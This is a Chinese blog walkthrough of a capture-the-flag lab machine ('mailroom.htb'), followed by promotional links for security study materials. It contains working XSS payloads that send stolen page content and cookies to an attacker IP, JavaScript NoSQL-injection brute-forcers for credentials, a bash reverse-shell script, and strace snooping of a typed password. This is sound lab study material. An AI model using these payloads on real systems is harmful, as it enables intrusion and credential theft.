一次利用XSS读取源码和Nosql注入渗透测试

Nosql 注入从零到一 Nosql 注入的简介 NoSQL 注入由于 NoSQL 本身的特性和传统的 SQL 注入有所区别。使用传统的SQL注入,攻击者利用不安全的用户输入来修改或替换应用程序发送到数据库引擎的 SQL 查询语句(或其他SQL语句)。 换句话说,SQL 注入使攻击者可以在数据库中 SQL 执行命令。 与关系数据库不同,NoSQL 数据库不使用通用查询语言。NoSQL 查询语法是特定于产品的,查询是使用应用程序的编程语言编写的:PHP,JavaScript,Python,Java 等。这意味着成功的注入使攻击者不仅可 阅读详情

常规的XSS利用方式主要有窃取cookie、恶意链接、获取键盘记录、网页钓鱼、挂马等等,本次渗透首先通过XSS漏洞,利用XMLRequest发起ajax请求,实现了发起http请求的目的,并且把请求的结果返回了,通过代码审计,打开了突破的口子。后续还运用到了Nosql注入、绕过2FA验证、kdbx文件解密等等技术,渗透过程涉及很多小的知识点,充满乐趣与挑战,下面开始此次渗透之旅。

一、信息收集

nmap -p- --min-rate=1000 -T4 -sC -sV -Pn 10.10.11.209

看来要从80端口的web服务硬着开始了。

目录扫描一波无果,发现还存在子域名;

另外一个子域名的发现是需要考耐心和水平的,(别忘记了查看源码的重要性);

接下来又是常规的对子域名开展一波信息收集,然后就进入漏洞挖掘阶段。

二、漏洞挖掘

1、XSS漏洞

进到web界面各种尝试发现了一个xss,

<script>alert('xss')</script>

并没有过滤,可以成功触发;

第一反应是想到抓cookie,尝试这个payload来获取cookie失败了,什么都没拿到;

<script src="http://10.10.16.5/XSS/getcookie.php?cookie='+document.cookie+'"></script>

后续也尝试了其他利用方法均无果。

2、XMLRequest发起ajax请求

在网上搜索后发现另一种方法,利用xss,最终实现了发起http请求的目的,并且把请求的结果返回了,我也尝试一下;

<script>
var fetch_req = new XMLHttpRequest();
fetch_req.onreadystatechange = function() {
    if(fetch_req.readyState == XMLHttpRequest.DONE) {
        var exfil_req = new XMLHttpRequest();
        exfil_req.open("POST", "http://10.10.16.5", false);
        exfil_req.send("Resp Code: " + fetch_req.status + "\nPage Source:\n" + fetch_req.response);
    }
};
fetch_req.open("GET", "http://127.0.0.1//contact.php", false);
fetch_req.send();
</script>

nc -lvnp 80

成功收到了请求的信息,内容就是contact.php 的内容,也就是意味着我们可以在内网中发起请求。

我们直接在kali本地访问子域名,发现403了。

那么接下来我们尝试使用xss进行请求。

└─# cat pwned.js                                                                                            
var http = new XMLHttpRequest();
http.open('GET', "http://staff-review-panel.mailroom.htb/index.php", true);
http.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
http.onload = function () {
    fetch("http://10.10.16.5/out?" + encodeURI(btoa(this.responseText)));
};
http.send(null);


Burp报文

POST /contact.php HTTP/1.1
Host: mailroom.htb
Content-Length: 82
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://mailroom.htb
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36 Edg/112.0.1722.48
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://mailroom.htb/contact.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close

email=1%401.com&title=1&message=<script src="http://10.10.16.5/pwned.js"></script>

成功接收回显!!读取到的内容是base64 加密过后的内容。

3、代码审计

对主要的auth.php认证文件进行审计;

<?php
require 'vendor/autoload.php';

session_start(); // Start a session
$client = new MongoDB\Client("mongodb://mongodb:27017"); // Connect to the MongoDB database
header('Content-Type: application/json');
if (!$client) {
  header('HTTP/1.1 503 Service Unavailable');
  echo json_encode(['success' => false, 'message' => 'Failed to connect to the database']);
  exit;
}
$collection = $client->backend_panel->users; // Select the users collection

// Authenticate user & Send 2FA if valid
if (isset($_POST['email']) && isset($_POST['password'])) {

  // Verify the parameters are valid
  if (!is_string($_POST['email']) || !is_string($_POST['password'])) {
    header('HTTP/1.1 401 Unauthorized');
    echo json_encode(['success' => false, 'message' => 'Invalid input detected']);
  }

  // Check if the email and password are correct
  $user = $collection->findOne(['email' => $_POST['email'], 'password' => $_POST['password']]);

  if ($user) {
    // Generate a random UUID for the 2FA token
    $token = bin2hex(random_bytes(16));
    $now = time();

    // Update the user record in the database with the 2FA token if not already sent in the last minute
    $user = $collection->findOne(['_id' => $user['_id']]);
    if(($user['2fa_token'] && ($now - $user['token_creation']) > 60) || !$user['2fa_token']) {
        $collection->updateOne(
          ['_id' => $user['_id']],
          ['$set' => ['2fa_token' => $token, 'token_creation' => $now]]
        );

        // Send an email to the user with the 2FA token
        $to = $user['email'];
        $subject = '2FA Token';
        $message = 'Click on this link to authenticate: http://staff-review-panel.mailroom.htb/auth.php?token=' . $token;
        mail($to, $subject, $message);
    }
    // Return a JSON response notifying about 2fa
    echo json_encode(['success' => true, 'message' => 'Check your inbox for an email with your 2FA token']);
    exit;

  } else {
    // Return a JSON error response
    header('HTTP/1.1 401 Unauthorized');
    echo json_encode(['success' => false, 'message' => 'Invalid email or password']);
  }
}

// Check for invalid parameters
else if (!isset($_GET['token'])) {
  header('HTTP/1.1 400 Bad Request');
  echo json_encode(['success' => false, 'message' => 'Email and password are required']);
  exit;
}

// Check if the form has been submitted
else if (isset($_GET['token'])) {
  // Verify Token parameter is valid
  if (!is_string($_GET['token']) || strlen($_GET['token']) !== 32) {
    header('HTTP/1.1 401 Unauthorized');
    echo json_encode(['success' => false, 'message' => 'Invalid input detected']);
    exit;
  }

  // Check if the token is correct
  $user = $collection->findOne(['2fa_token' => $_GET['token']]);

  if ($user) {
    // Set the logged_in flag and name in the session
    $_SESSION['logged_in'] = true;
    $_SESSION['name'] = explode('@', $user['email'])[0];

    // Remove 2FA token since user already used it to log in
    $collection->updateOne(
      ['_id' => $user['_id']],
      ['$unset' => ['2fa_token' => '']]
    );

    // Redirect to dashboard since login was successful
    header('Location: dashboard.php');
    exit;
  } else {
    // Return a JSON error response
    header('HTTP/1.1 401 Unauthorized');
    echo json_encode(['success' => false, 'message' => 'Invalid 2FA Login Token']);
    exit;
  }
}


?>

审计了一下,这个页面的作用是身份认证,正如文件名auth.php 一样 ,首先观察到后端用的数据库为 MongoDB,MongoDB注意会有Nosql注入的情况,然后就是开始身份认证逻辑。

首先检查用户是否通过POST请求发送emali 和 password 字段,在数据库中查找用户按照这个条件,如果找到该用户,那么进入2FA验证逻辑。服务器会发送一封邮件到指定的邮箱中,点击这个邮箱中收到的链接才会在session中存放一个token字段,最后校验这个token正确的话才表示登入成功,token长度为32个字符,且为字符串类型。

这里是存在nosql注入的,有关于nosql注入的知识请自行补充。

在看下inspect.php的源码;

<?php
session_start(); // Start a session
// Check if authorized
if (!isset($_SESSION['logged_in']) || $_SESSION['logged_in'] !== true) {
  header('Location: index.php'); // The user is NOT logged in, redirect back to the login page
  exit;
}

$data = '';
if (isset($_POST['inquiry_id'])) {
  $inquiryId = preg_replace('/[\$<>;|&{}\(\)\[\]\'\"]/', '', $_POST['inquiry_id']);
  $contents = shell_exec("cat /var/www/mailroom/inquiries/$inquiryId.html");

  // Parse the data between  and </p>
  $start = strpos($contents, '<p class="lead mb-0">');
  if ($start === false) {
    // Data not found
    $data = 'Inquiry contents parsing failed';
  } else {
    $end = strpos($contents, '</p>', $start);
    $data = htmlspecialchars(substr($contents, $start + 21, $end - $start - 21));
  }
}

$status_data = '';
if (isset($_POST['status_id'])) {
  $inquiryId = preg_replace('/[\$<>;|&{}\(\)\[\]\'\"]/', '', $_POST['status_id']);
  $contents = shell_exec("cat /var/www/mailroom/inquiries/$inquiryId.html");

  // Parse the data between  and </p>
  $start = strpos($contents, '<p class="lead mb-1">');
  if ($start === false) {
    // Data not found
    $status_data = 'Inquiry contents parsing failed';
  } else {
    $end = strpos($contents, '</p>', $start);
    $status_data = htmlspecialchars(substr($contents, $start + 21, $end - $start - 21));
  }
}


?>

这个文件带有命令执行!!!shell_exec("cat /var/www/mailroom/inquiries/$inquiryId.html");后续会利用到。

因为网站还部署了git,所以简单介绍下如何发现所有的git用户;

4、Nosql注入

我们看到auth.php中验证是通过 和MongoDB 交互的,我们在这里尝试 nosql

# cat pwnnosql.js

var http = new XMLHttpRequest();
http.open('POST', "http://staff-review-panel.mailroom.htb/auth.php", true);
http.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
http.onload = function () {
    fetch("http://10.10.16.5/out?" + encodeURI(btoa(this.responseText)));
};
http.send("email[$ne]=someb0dy@sm.com&password[$ne]=someb0dy");

可以看到我们成功登录了

接下来想办法通过nosql爆破用户名和密码

爆破用户名;

下面的脚本通过递归调用的方式慢慢爆出我们想要的内容

#cat pwnuser.js
async function callAuth(mail) {
    var http = new XMLHttpRequest();
    http.open('POST', "http://staff-review-panel.mailroom.htb/auth.php", true);
    http.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
    http.onload = function () {
        if (/"success":true/.test(this.responseText)) {
            notify(mail);
            cal("0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!\"#$%'()+, -/:;<=>@[\]_`{}~", mail);
        }
    };
    http.send("email[$regex]=.*" + mail + "@mailroom.htb&password[$ne]=abc");
}
function notify(mail) {
    fetch("http://10.10.16.5/out?" + mail);
}
var chars = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!\"#$%'()+, -/:;<=>@[\]_`{}~";
function cal(chars, mail) {
    for (var i = 0; i < chars.length; i++) {
        callAuth(chars[i] + mail)
    }
}
cal(chars, "");

在burp上 连续发送两个包;

我们可以看到返回了username 末尾的三个字符

那我们修改一下脚本

async function callAuth(mail) {
    var http = new XMLHttpRequest();
    http.open('POST', "http://staff-review-panel.mailroom.htb/auth.php", true);
    http.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
    http.onload = function () {
        if (/"success":true/.test(this.responseText)) {
            notify(mail);
            cal("0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!\"#$%'()+, -/:;<=>@[\]_`{}~", mail);
        }
    };
    http.send("email[$regex]=.*" + mail + "@mailroom.htb&password[$ne]=abc");
}
function notify(mail) {
    fetch("http://10.10.16.5/out?" + mail);
}
var chars = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!\"#$%'()+, -/:;<=>@[\]_`{}~";
function cal(chars, mail) {
    for (var i = 0; i < chars.length; i++) {
        callAuth(chars[i] + mail)
    }
}
cal(chars, "tan");

把cal(chars,"") 修改成 cal(chars,"tan");

继续前面的操作,burpsuite 上发送两个包

可以看到又多爆出了3个email 的字符,一直这样操作直到,直到不再有新的字符生成。

爆破密码,同样的方法;

async function callAuth(pass) {
    var http = new XMLHttpRequest();
    http.open('POST', "http://staff-review-panel.mailroom.htb/auth.php", true);
    http.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
    http.onload = function () {
        if (/"success":true/.test(this.responseText)) {
            notify(pass);
            cal("0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!\"#%'()+, -/:;<=>@[\]_`{}~", pass);
        }
    };
    http.send("email=tristan@mailroom.htb&password[$regex]=^"+pass);
}
function notify(pass) {
    fetch("http://10.10.16.5/out?" + pass);
}
var chars = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!\"#%'()+, -/:;<=>@[\]_`{}~";
function cal(chars, pass) {
    for (var i = 0; i < chars.length; i++) {
        callAuth(pass+chars[i])
    }
}
cal(chars, "");

burp点2下;

最终得到用户名和密码,尝试ssh登录,成功登录。

三、提权

1、2FA验证

登录上来后,发现内网中的 staff-review-panel 这个域名我们不能直接访问,通过搭建socks代理或者简单点ssh端口转发;

ssh -L 8080:127.0.0.1:80 tristan@10.10.11.209

尝试登录需要 2FA验证;

我们在/etc/mail/tristan 文件中发现了这个链接;

访问一下,成功进入;

2、RCE

还记得inspect.php是可以执行命令的,在代码中调用了shell_exec,传入参数我们可控,我们在这里尝试;

nc 文件的内容

#!/bin/bash 
bash -i >& /dev/tcp/10.10.16.5/5555 0>&1

远程下载成功后,继续执行反弹命令;

反弹成功;

反弹shell 后 我们参数搜索有 matthew 关键字的文件;

grep "matthew" ./ -r

成功从配置文件中获取到matthew用户的密码。

3、kdbx文件解密

在matthew 目录下发现一个 personal.kdbx 文件,尝试下载;

这种后缀名的文件可以使用keePass软件打开,但是需要key。

pspy 看进进程的时候找到了 kpcli 进程;

通过ps -ef | grep kpcli | grep perl | awk '{print $2} '来找到 kpcli的进程id;

通过 strace -p 来查看系统调用;

因为密码多半是我们从终端输入进去程序的,所以我们查看read的系统调用,之所以寻找调用read(0 的 的信息,0是标准输入流stdin,也就是我们的输入。

在这里\10 模拟了删除的操作,对照 ascii 表 8进制可以看到;

由此可得到密码:!sEcUr3p4$$w0rd9

最后查看root acc 拿到root的密码,就可以顺利切换到root用户。

还有另一种方法;

由此也可以得到root用户的密码。

四、源码分析

源码是在docker里的;

docker exec -it 652cff262922 /bin/bash

tar -zcvf mailroom.tar.gz /var/www/mailroom/

docker cp 652cff262922:/var/www/mailroom.tar.gz  /tmp/mailroom.tar.gz

得到源码后,分析下XSS漏洞形成的原因;

可以控制输入message,并且没有任何过滤;

inquiry_template.html  参数传递到了前端网页;这2处其实都存在xss漏洞;

实测的效果;

最后总结下本次渗透的流程;

信息收集子域名--->通过xss读取源码--->代码审计--->nosql注入--->拿到用户1的ssh密码--->绕过2FA验证--->RCE--->寻找敏感信息--->成功拿到用户2的凭证--->kdbx文件解密--->root

 

`黑客&网络安全如何学习

今天只要你给我的文章点赞,我私藏的网安学习资料一样免费共享给你们,来看看有哪些东西。

1.学习路线图

攻击和防守要学的东西也不少,具体要学的东西我都写在了上面的路线图,如果你能学完它们,你去就业和接私活完全没有问题。

2.视频教程

网上虽然也有很多的学习资源,但基本上都残缺不全的,这是我自己录的网安视频教程,上面路线图的每一个知识点,我都有配套的视频讲解。

内容涵盖了网络安全法学习、网络安全运营等保测评、渗透测试基础、漏洞详解、计算机基础知识等,都是网络安全入门必知必会的学习内容。

(都打包成一块的了,不能一一展开,总共300多集)

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

3.技术文档和电子书

技术文档也是我自己整理的,包括我参加大型网安行动、CTF和挖SRC漏洞的经验和技术要点,电子书也有200多本,由于内容的敏感性,我就不一一展示了。

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

4.工具包、面试题和源码

“工欲善其事必先利其器”我为大家总结出了最受欢迎的几十款款黑客工具。涉及范围主要集中在 信息收集、Android黑客工具、自动化工具、网络钓鱼等,感兴趣的同学不容错过。

还有我视频里讲的案例源码和对应的工具包,需要的话也可以拿走。

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

最后就是我这几年整理的网安方面的面试题,如果你是要找网安方面的工作,它们绝对能帮你大忙。

这些题目都是大家在面试深信服、奇安信、腾讯或者其它大厂面试时经常遇到的,如果大家有好的题目或者好的见解欢迎分享。

参考解析:深信服官网、奇安信官网、Freebuf、csdn等

内容特点:条理清晰,含图像化表示更加易懂。

内容概要:包括 内网、操作系统、协议、渗透测试、安服、漏洞、注入、XSS、CSRF、SSRF、文件上传、文件下载、文件包含、XXE、逻辑漏洞、工具、SQLmap、NMAP、BP、MSF…

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

应用安全系列之四十七:NoSQL注入 本文主要是介绍NoSQL注入的原理、危害和如何预防。 阅读详情

相关推荐

YApi分析从NoSQL注入到RCE远程命令执行.md

YApi是一个可本地部署的、打通前后端及QA的、可视化的接口管理平台。YApi 是高效易用功能强大的 api 管理平台,旨在为开发、产品、测试人员提供更优雅的接口管理服务。可以帮助开发者轻松创建、发布、维护 API,YApi 还为用户提供了优秀的交互体验,开发人员只需利用平台提供的接口数据写入工具以及简单的点击操作就可以实现接口的管理。在其1.12.0版本之前,存在一处NoSQL注入漏洞,通过该漏洞攻击者可以窃取项目Token,并利用这个Token执行任意Mock脚本,获取服务器权限。

god_Zeo的安全博客 3444

NoSQL注入基础及思路

本篇介绍了NoSQL注入的基础以及思路,详细内容包含了、NoSQL 1、为什么使用NoSQL 2、RDBMS与NoSQL区别 3、NoSQL产品 4、NoSQL 数据库分类 -、MongoDB 1、认识MongoDB 2、MongoDB特性 3、MongoDB工作方式 4、MongoDB缺陷 5、MongoDB基本概念 数据库Database 7、文档Document 8、集合Collection 三、MongoDB基本操作 1、数据库操作 2、集合操作3、文档操作 4、Where语句比较四、Mon等内容

钟言的博客 2474

Web应用安全攻防全景:从SQL注入、XSS到CSRF的漏洞原理与实战防御

在Web应用开发中,安全漏洞是攻击者利用信任边界不清、输入验证不严等缺陷进行入侵的主要途径。其核心原理在于程序未能严格区分数据与代码,或逻辑控制存在缺陷,导致非预期操作。从技术价值看,理解并防范这些漏洞是保障数据完整性、用户隐私和业务连续性的基石。典型的应用场景包括用户登录认证、数据查询、动态内容渲染及敏感操作执行等环节。其中,SQL注入通过拼接恶意输入篡改数据库查询逻辑,XSS攻击则在用户浏览器中植入并执行恶意脚本,而CSRF则利用用户浏览器的信任发起未经授权的请求。本文聚焦于这些高频漏洞的深度解析,结合

cuemes08808的博客 450

nosql的注入

关系型数据库 mysql oracle sqlserver非关系型数据库 key-value redis MongoDB(not only sql)

m0_68976043的博客 2197

渗透测试实战:结构化Payload库提升漏洞挖掘效率与深度

在网络安全领域,漏洞挖掘与渗透测试是评估系统安全性的核心环节。其基本原理是通过模拟攻击者行为,向目标系统输入特定构造的数据(Payload),以触发潜在的安全缺陷,如SQL注入、跨站脚本(XSS)或命令执行。掌握系统化的攻击载荷知识对于高效、深入地发现漏洞至关重要,这能帮助安全工程师从“大海捞针”式的盲目尝试,转向“精准打击”的定向测试。PayloadsAllTheThings项目正是这样一个由全球社区维护的、结构化的Payload百科全书,它按照漏洞类型和技术场景(如SQL注入、文件上传绕过)进行分类,提

weixin_34342992的博客 812

JSON安全漏洞深度解析:从劫持与注入原理到实战防御

JSON作为现代Web应用和API的核心数据交换格式,其安全性直接关系到系统的整体防护。从原理层面看,JSON劫持(JSON Hijacking)主要利用浏览器同源策略的缺陷或CORS配置错误,非法窃取敏感数据;而JSON注入(JSON Injection)则通过污染数据流,可引发XSS、服务器端代码执行或NoSQL注入等更深层攻击。在工程实践中,这些漏洞常源于不安全的反序列化、宽松的CORS策略或不当的用户输入处理。其技术价值在于揭示了数据交换层的关键风险点,是构建纵深防御体系必须关注的环节。应用场景广泛

diaoqu4574的博客 559

常见的利用XSS读取源码和Nosql注入渗透测试

常见的利用XSS读取源码和Nosql注入渗透测试

weixin_57514792的博客 1363

2025年Web渗透测试学习路线:从零基础到实战高手

Web渗透测试是网络安全领域的核心技能,其本质是通过模拟黑客攻击来评估Web应用的安全性。其原理在于利用应用与用户交互过程中的逻辑或技术缺陷,如输入验证不严、会话管理不当等,获取未授权访问或数据。掌握这项技术对于构建主动防御体系、满足合规要求具有重要价值,广泛应用于金融、电商、政务等各类在线业务系统的安全评估。随着云原生、API经济及AI辅助攻击的普及,渗透测试已演变为一项覆盖复杂架构的“系统性工程”。本文基于行业高频搜索的“SQL注入”和“XSS”等核心漏洞类型,系统规划了一条从网络协议基础到实战靶场攻防

weixin_30369041的博客 708

常规的XSS利用方式,窃取cookie、恶意链接、获取键盘记录、网页钓鱼、挂马等等

本文记录了一次渗透测试过程,通过XSS漏洞发起XMLRequest请求实现内网探测,结合代码审计发现MongoDB数据库连接问题。测试人员利用XSS漏洞成功获取子域名页面内容,并发现后台认证模块存在潜在风险。文章详细展示了XSS漏洞利用代码、请求报文及回显数据,涉及Nosql注入、2FA绕过等技术点,体现了渗透测试中的技术挑战与突破思路。

zz96405784848的博客 776

Web安全实战:40个漏洞挖掘检查点与SRC渗透测试指南

Web安全的核心在于从“默认信任”转向“持续验证”的思维模式,这一理念构成了零信任安全架构的基础。其原理在于对用户输入、外部依赖和内部环境均保持审慎,通过系统化的验证机制来防范风险。这种思维在工程实践中的技术价值在于,它能将抽象的安全原则转化为可落地的、覆盖应用全生命周期的防护动作,从而有效降低漏洞被利用的可能性。在应用场景上,无论是日常的安全开发、代码审计,还是渗透测试与漏洞挖掘,这种“验证一切”的思维都至关重要。本文围绕这一核心,结合渗透测试流程,系统梳理了从信息收集、配置审计到业务逻辑、高级利用的40

weixin_29325955的博客 341

深入解析XSS进阶绕过技巧:从HttpOnly到CSP的攻防实战

跨站脚本攻击(XSS)作为Web安全领域的核心威胁之一,其本质是攻击者通过注入恶意脚本,在用户浏览器中执行非授权操作。其攻击原理在于Web应用未对用户输入进行充分验证和编码,导致恶意代码被浏览器解析执行。XSS的技术价值在于它能够绕过传统安全边界,直接窃取用户会话、篡改页面内容甚至发起进一步攻击。在应用场景上,XSS广泛存在于用户交互频繁的Web应用中,如社交平台、电商网站和在线论坛。随着前端技术复杂化,攻击者利用JavaScript模板字符串、Unicode编码以及DOM操作等特性,不断演进绕过HttpO

weixin_30274627的博客 417

程序员如何入门 Web 安全,半年掌握渗透测试核心技能

第六个月是整合与提升期,重点掌握专业渗透测试工具链,将之前的漏洞知识转化为实际的攻击能力。Kali Linux 环境精通Kali 预装了数百种安全工具,但不要迷失在菜单里。重点掌握nmap进行端口和服务指纹识别,burpsuite进行流量拦截与重放,sqlmap进行自动化注入(但要懂其背后的请求构造)。熟悉 Linux 基础命令在安全场景下的应用,如使用grep过滤敏感信息,用netcat建立反向 Shell。Metasploit 框架实战Metasploit (MSF) 是渗透测试的瑞士军刀。

2501_90744270的博客 230

【深度学习】tensorboard中的图片放到论文中

1. 利用tensorboard中的导出数据功能 选中左上角的标签,然后选择csv格式的数据下载即可。 左边的smoothing 数值不影响导出数据的大小。 2.tensorboard 图下标签介绍: 放大 Toggle y-axis log scale:将y轴对数化 Fit domain to data:如果拖动了图片等,再重新回到原始位置 Download Current Chart as SVG 3.用下载下来的csv数据来画图 第一幅图片:训练的平均长度 fig, ax1 = plt.sub

gaocui883的博客 1万+
上一篇: 薪酬6连涨!网络安全的天花板在哪里?
下一篇: Android设备风控知识
程序员_大白
博客等级 码龄5年 1万+粉丝 4001原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值